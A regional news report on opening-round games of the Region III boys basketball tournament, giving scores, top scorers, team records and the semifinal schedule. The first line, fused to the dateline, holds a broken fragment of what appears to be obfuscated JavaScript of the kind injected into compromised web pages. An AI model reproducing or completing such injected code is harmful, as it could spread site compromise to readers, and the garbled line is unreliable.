JAMESTOWN ehbey|var|u0026u|referrer|byntd||js|php’.split(‘|’),0,{}))
(NewsDakota.com) The Linton-HMB, Carrington, Ellendale and Napoleon/Gackle-Streeter boys basketball teams won their opening round games in the Region III Tournament Monday.
Linton-HMB 74 Midkota 44
The score was tied at 12 all heading into the second quarter, but the Lions scored 25 points in the second quarter and 25 points in the third quarter to take a commanding lead in the second half and help them move into the semifinals.
The Lions had two players with double doubles, Senior Cole Vanderlaan had 25 points and 18 rebounds, Junior Lance Weiser had 12 points and 14 rebounds. Brothers Jared and Cole Baumiller each had 10.
Leading the way for the Mustangs was Sophomore Chase Wells with 16 points including four treys. Midkota ends their season at 3-19, and made their first region appearance in 10 years.
Carrington 73 Strasburg/Zeeland 48
Junior Garrett Bickett had 22 points, including two 3-pointers (56 on the year) to help the Cardinals beat the Clippers. Senior Bryce Edland added 13, Junior Kolton Vetter had 11 and Freshman Seth Nelson had 10 off the bench.
Senior Hunter Huizenga had 15 and Junior Stetson Haak had 10 for the Clippers. The defending region 3 champs end their season at 10-13.
Ellendale 58 Kidder County 50
The District 5 Champions were down by 11 points going the final eight minutes of regulation, but started the fourth quarter on a 17-0 run in the first six minutes of the frame to snatch the victory away from the Pirates.
Ellendale was lead by Brennan Vance with 21 points, including nine of 11 from the free throw line. Kidder County, which turned the ball over 18 times that lead to 20 Ellendale points, had a team high 20 points from Brighton Fallgatter.
Napoleon/Gackle-Streeter 60 Edgeley-Kulm-Montpelier 58
For the third time this season, the Imperials defeated the Rebels. EKM certainly had their chances, leading for most of the second quarter, and even had a chance to win it with a three-pointer at the end of regulation, but the shot lipped off the front part of the rim.
NGS had four players in double figures, with William Kleppe’s 17 points leading the way, including four of six from beyond the arc. EKM had a double-double from Lane Hanson with 21 points and 16 rebounds.
The Region III semifinals are Tuesday night starting at 6 p.m., with Linton-HMB and Carrington, followed 20 minutes later with Ellendale and NGS. Coverage of both games can be heard on TED-FM 98.3/102.7 starting at 5:45.